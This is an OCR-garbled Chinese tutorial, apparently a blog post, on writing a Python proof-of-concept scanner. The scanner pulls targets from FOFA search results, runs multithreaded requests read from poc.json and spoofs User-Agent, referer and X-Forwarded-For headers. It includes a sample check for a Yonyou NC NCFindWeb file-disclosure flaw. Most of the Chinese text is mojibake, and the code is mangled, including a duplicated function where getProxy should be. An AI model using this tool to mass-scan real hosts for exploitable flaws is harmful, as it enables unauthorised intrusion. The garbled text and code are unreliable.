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WIHERARS - HIEFE—
BROFEEZREREE , TERERCITIEGE

& | Ef8%%- webdogc

mEER
#EWiEpoc , Pythonf{iB4>,

BRI

3

. POCRTIREMREE,
. BxaffofaskEXE 1R,
. BEHLIESREL.

D WN R

SEHITAE

BADA=PER |, Sk pock BiR., SEENERRKIE. BHER., HF
HEBKRRIEBREWESLIE | BEIBRSH , KEXBTK=1E0.

Maing&Z{

Emaini{EF , FR2F=1EDREpockBiR . Z%i2 (KB EIREFREIS
BB ZZEHED). BHER.

ERSEHANT

def main(): # ?2?2Cr| +C?2?272? si gnal . si gnal (signal.SI G NT

, quit) signal . signal (signal.SI GTERM quit) showpocs()
## ?27?27?7 targetLi st = getTarget() #it ?2??°°27?27°7?7

thread(targetList) ## 27?27?7 put Tar get (Li st)

SREN BHR
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AT BERKIER , RN EiR. NGRS BRI RIEFoFalEiAMF
OFA_APIFRSREX HiR=M7\.

<br />ENX % getTarget , BRED NSRS

F—EBo NIRYE -f Fofaigix SKENBR , BIAZHE 8305,
FETEBSHRE -u url / -i file / -f

num(#H , EMAA10)

ANEIB KGN BTR , MEBDLIRRESpoca2#H XSl , &EIRE—"targ
etListyl3E,

BRI ¢
def get Target(): targetList=[] count =0 If result. po
c==None: If result.outfile!=None and result.fofal=Non
e # FOFA??7?7 I f result.fofa!=None:
gbase=result.fofa gbase64=str (b
ase64. b64encode( gbase. encode("utf-8")), "utf-8")
print (" FOFA???" +qbase) fofa_url="https://
fofa.so/api/vl/search/all?email ="+enmai | +" &ey="+key+" &gbase6
4="+gbase64+"&f i el ds=titl e, host,ip, port, city&si ze=30"
try: res=requests.get(fofa url)
results = json.| oads(res.text)
filepath=result.outfile W th ope
n(filepath,'w ) as targets: for i in
results['results']: targets.wite
(i[1]+ \n") print(i[1])
count +=1 print("???
??"+str(count) +" ???2???" +fi | epat h+" ??") except
Exception as e: print(e) SysS.
exit() el se: If result.url!=None or result.file!=N
one or result.fofal =None: # 27?77 if re
sult.url!=None: targetLi st.append(result.url)
# 2?77?77 If result.file!=None:
try: filepath=result.file

with open(filepath,'r') as targets:
for target in targets.readlines():
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targetLi st.append(target.strip())
except Exception as e: print(e)
# FOFA?7?7?7 I f result.fofa!=None:
gbase="" pocNane = result. poc
W th open('poc.json', encoding="UTF-8") as f:
data = json. | oad(f) for poc in dat
a: I f pocNanme == poc:
gbase=dat a[ poc][' fofa'] gbase64=s
tr(base64. b64encode( gbase. encode("utf-8")), "utf-8")
try: fofa url="https://fofa.solap
I /vl/ search/all ?email =" +emai | +" &ey="+key+" &gbase64="+qbaseb

4+" &f i el ds=titl e, host,ip, port,city&size="+str(result.fofa)
res=requests.get(fofa url)

results = json.| oads(res.text) print (
" FOFA???" +qbase) print("??2???"+str(result
.fofa)+"?") for i inresults['results']:
targetList.append(i[1])
# print(targetlList) except Exception as
e: print(e) return targetlList
el se : SYS. exit (" ????2?7??27?7?7?")

EBKRIGIUE

EMthreadF2 , FHEZSEHEBFRKAXNE , FENKEEINB RS Etarget
List,

BRI -
def thread(targetlList): ## ?7?poc poc=poc_I| oad() #it
27?77 queuelLock. acqui re() for target in targetlList:
t ar get Queue. put (target) queuelLock. rel ease() ## 27?7
? threadLi st = [] t hreadNum=r esul t. t hr eadNum for i
I n range(0, threadNum : t =r eqThr ead(t ar get Queue, poc)
t . set Daenon( Tr ue) t hr eadLi st . append(t) for i
I n threadLi st: I .start() # ?2?2°°7°7°77?7 for t int
hr eadLi st : t.join()

JREPOC
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BEREIEVRER -p
pocNameZ#ISEBEERAIPOC , FIEPOCHEpoc.jsonX4Fh7ZEfE,

BRIIINT
# ??pocdef poc | oad(): I f result. poc!=None: poc =
result. poc | sPoc = Fal se # POC??7?? # ?7?]son??
W th open('poc.json', encoding="UTF-8") as f:
data = json. | oad(f) for key in data:
I f poc == key: | sPoc=Tr ue | f
| sPoc==Fal se: print("POC ??2??") sys. e
Xit("???--show??poc???") el se: return data
[ poc] el se: pass
ZLIER

ENXreqThreadZiZ22E , EABFILAR pocRNEE , HEEreqid kG ix,
BRSSO

cl ass reqThread (threadi ng. Thread): def _init__ (self, q,
poc) : threading. Thread. __init__ (self) self.q =
q sel f. poc=poc def run(self): try:

while not self.q.enpty(): queuelLock. acqu

re() target=sel f.q.get() gueue

Lock. rel ease() I f self.req(target):

print(target+" is vuln !'") Li st

. append(target) el se: pass

except Exception as e: pass def req(se

I f,url): poc=sel f. poc payl oad=ur| Parse(url) +po
c['request'J["url"] res=requests. request ( net hod=poc]|

request’' ][ ' nmet hod' ], url =payl oad, header s=r andonheader s(poc), p

r oxi es=get Proxy(), data=poc['request']["'data'], verify=Fal se,t

I meout =5) I f res.status_code==200 and poc['request']]

‘confirm] in res.text: return True el se:
return Fal se

HefEreqFRIBKRGER , FE=MEXBKRRITGIE.

urlParse
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XPIRENERY B gt 1T SCARLLIE,

# ??url def url Parse(url): I f "https://" not in url:

I f "http://" in url: url =url el se:
url ="http://"+url return ur

getProxy

EEBXNE,

# ??def url Parse(url): If "https://" not in url:

I f "http://" in url: url =url el se:
url ="http://"+url return ur

randomHeaders

wiI0fEHLUser-Agent, referer, XFFFEIBKLSEUE.

def randonHeader s(poc): header s={} uaLli st =[ " Mo
zillal5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., lik
e CGecko) Chrone/80.0.3987.100 Safari/537.36', " Mozi | |

a/ 5.0 (iPhone; CPU iPhone OS 13 3 1 like Mac OGS X; zh-CN) Ap
pl eWebKit/537.51.1 (KHTM., |ike Gecko) Mobile/17D50 UCBrowse
r/12.8.2.1268 Mbile Ali App(TUni onSDK/ 0. 1. 20. 3) ", "M
zilla/5.0 (Macintosh; Intel Mac OS X 10 _14 3) Appl eWebKit/53
7.36 (KHTM., |ike Gecko) Chrone/80.0.3987.116 Safari/537.36
"Mozilla/5.0 (Linux; Android 8.1.0;, OPPO R11t Build

/CPNn 171019. 011; w) Appl eWebKit/537.36 (KHTM., |ike Gecko)
Version/ 4.0 Chrone/ 76. 0. 3809. 89 Mbile Safari/537.36 T7/11.

19 SP- engi ne/ 2. 15. 0 bai duboxapp/ 11.19.5.10 (Baidu; Pl 8.1.0)
"Mozillal/5.0 (Wndows NT 6.3; Wn64; x64) Appl eWwb

K|t/537 36 (KHTNL | i ke Gecko) Chrone/78.0.3904. 108 Safari/5
37.36", "Mozillal/5.0 (iPhone; CPU iPhone OS 13 3 1 I|i
ke Mac OS X) Appl eWebKit/605.1.15 (KHTM., |ike Gecko) Mbile
/ 15E148 SP-engi ne/ 2. 14. 0 mai n%2F1. 0 bai duboxapp/11.18.0. 16 (

Bai du; P2 13.3.1) NABar/0.0', "Mozillal/5.0 (Wndows N
T 10.0; Wn64; x64) Appl eWbKit/537.36 (KHTM., |ike Gecko) C
hr ome/ 64. 0. 3282. 140 Safari/537.36 Edge/ 17.17134", ' Mo

zilla/5.0 (Wndows NT 10.0; WOW64) Appl eWebKit/537.36 (KHTM
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, |1ke Gecko) Chrone/75.0.3770.100 Safari/537.36", "M
ozillal/5.0 (iPhone; CPU iPhone CS 12 4 4 |like Mac OS X) Appl
eWebKit/605. 1. 15 (KHTM., |i ke Gecko) Mobil e/ 15E148 M croMess
enger/7.0.10(0x17000a21) Net Type/ 4G Language/ zh CN ,
"Mozillal5.0 (Wndows NT 10.0; WOWN64) Appl eWebKit/537.36 (KH
TM., like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Mozillal5.0 (Wndows NT 6.1; WOA4) Appl eWebKit/537. 36 (KH
TM., like Gecko) Chrome/78.0.3904.108 Safari/537.36",
"Mozillal/5.0 (Wndows NT 10.0; WOW4) Appl eWebKit/537.36 (K
HTM., |i ke Gecko) Chrone/55.0.2883.87 Safari/537.36',
"Mozillal/5.0 (Wndows NT 6.1; Wn64; x64) AppleWbKit/537.3
6 (KHTM., |ike Gecko) Chrone/74.0.3729.108 Safari/537.36",
"Mozillal/5.0 (Wndows NT 6.1; WOA64) Appl eWebKit/537.3
6 (KHTM., |ike Gecko) Chrone/75.0.3770.100 Safari/537.36",
"Mozillal/5.0 (Wndows NT 10.0; WOW64) Appl eWebKit/537.
36 (KHTM., |ike Gecko) Chrone/80.0.3987.106 Safari/537. 36",

] refList=[ "www. bai du. conf ] xffList=
'127.0.0.1", '51.77.144. 148", ' 80. 93. 212
. 46", *109. 123. 115. 10", '187.44. 229. 50",
'190. 14. 232. 58", '5.166.57. 222", ' 36. 94. 142.
165", ' 52.149. 152. 236", ' 68. 15. 147. 8",
'188. 166. 215. 141", '190. 211. 82. 174", '101.51.1
39. 179 ] I f 'User-Agent' in poc['request'][' headers']

I f poc['request'][' headers'][' User-Agent'].strip()!
=" header s[' User - Agent' ] =poc[ ' request']["' header
s'][' User-Agent'] el se: header s[' User - Agen
t']=random choi ce(ualLi st) If 'referer’ in poc['request']]
"headers']: I f poc['request'][' headers']['referer'].s
trip()!'="": headers['referer']=poc['request']["' he
aders']['referer'] el se: headers['referer'
] =r andom choi ce(ref Li st) I f ' X-Forwarded-For' in poc['req
uest'][' headers']: I f poc['request'][' headers'][' User
-Agent'].strip()!="": header s[ ' X- For war ded- For' | =
poc[ ' request'][' headers'][" X- Forwar ded- For"' ] el se:

header s[ ' X- For war ded- For' ] =r andom choi ce( xf f Li st)

for key in poc['request'][' headers']: If key '="re
ferer" and key != "User-Agent" and key != "X-Forwarded- For
" header s[ key] =poc[ ' request' ][ ' headers' ][ key]
return headers
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i EE SR

EXNeBFTEList, BFREHLHANBR , EX&EHG EZputTarget,
BRI :

Li st=[] ## ??def putTarget(resultList): If result.file!=No
ne or result.fofa!=None: If len(resultList)!=0:

If result.outfile !'= None : filepath=r
esult.outfile with open(filepath,'w ) as targ
ets: for target in resultlList:

targets.wite(target+'\n') prin
t("??2?2??"+str(len(resul tList))+"??2???2?"+fi | epat h+"??")
el se: print (" ??2?2??2?2?2??2??7?" el se: pas
S
Hifth
TR

# ??htt ps??requests. packages. url |l i b3. di sabl e_war ni ngs(Il nsecu
r eRequest War ni ng) ## ??t arget Queue = queue. Queue( 100) ## ?queu

eLock = threadi ng. Lock()# ??List=[]# FoFAemail =""key=""
ARSI TIEEN S

arg = Argunent Parser (description="POC Verify')arg.add argune
nt('-u', dest="url', help="Target URL',6type=str)arg.add_argum
ent('-i', '--file', dest="file',help="Scan nultiple targets
given in a textual file',type=str)arg.add argunent('-f"',"--f
of a", dest='fofa', help="fofaquery Nuns/String Exanple if poc
-f 10 else -f "abc" defaul t=30"', defaul t=10) arg. add_ar gunent
('-p', dest='poc', help=" Load POC file from poc.json')arg. ad
d_argunment (' - proxy', dest='proxy', help="Use a proxy to conne
ct to the target URL Exanple : -proxy http:127.0.0.1:8080',t
ype=str)arg.add argunent('-t', dest='threadNum , help="the th
read _count, defaul t=10", type=int, default=10)arg.add_argune
nt('-show , dest='show , help= show all pocs', nargs='?"',cons
t="all',type=str)arg.add argunent('-0', '--outfile', dest='o0
utfile', help="the file save result', default="result.txt',
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type=str)result = arg.parse_args()

pociFBRR
## ??pocdef showpocs(): I sPoc = Fal se If result.show !
= None: # ?7?]son?? W th open(' poc.json', encodi
ng="UTF-8') as f: data = json.|oad(f)
I f result.show== "all": print("pocnane". || ust
(20), "description".ljust(20)) print("------
---------------------------------------- ") fo
r key in data: print(key.!|just(20), data[k
ey][' name'].ljust(20)) el se: ifor
esul t.show i n data: print("pocnane". || ust
(20), "description".ljust(20)) print("--
____________________________________________ " )
print(result.show |just(20),data[result.show[' nane'].
| just (20)) sys.exit() el se: pass
Ctrl+CLEREAE
# ?7???def quit(signum frane): print('You choose to stop
ne."') sys.exit()def main(): # ?2?2Cr| +C??2?7 signal .s

I gnal (signal.SIGNT, quit) si gnal . si gnal (si gnal . SI GTERM
quit)

poc.json3 {4

POCARRA—IRHTTPIEX , AFBEMRN , Nigit&FR. EKznfofafIiEiA.
BRk, BRAR. URRILERRFERZHATSINFE,

{ "pocnane": { "name": " ?2???", "fofa

"M of @????????7?27?7?7?27?7", "request": { "met h

od": "", “url Mot "headers": {
"referer": "", "User-Agent": "",

" X- For war ded- For": "", "Content-T
ype": "" }, "data": "", "co
nfirn: "?2?22?2?" } }, "yonyounc": { "nane
"o "2?2NC ?7?2727277" "fofa":"app=\""?7- UFl DA- NQ\ "
", "request": { "met hod": "get",
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“url": "/ NCFi ndWeb?servi ce=l PreAl ert Confi gServi ceé&fil enane
=i ndex. | sp", "headers": { "referer": "
", "User-Agent": "", "
X- For war ded- For": "" }, "data": ""
: “confirnl: "<%@ page | anguage=" } }}
BITER
FoFajREXB#r
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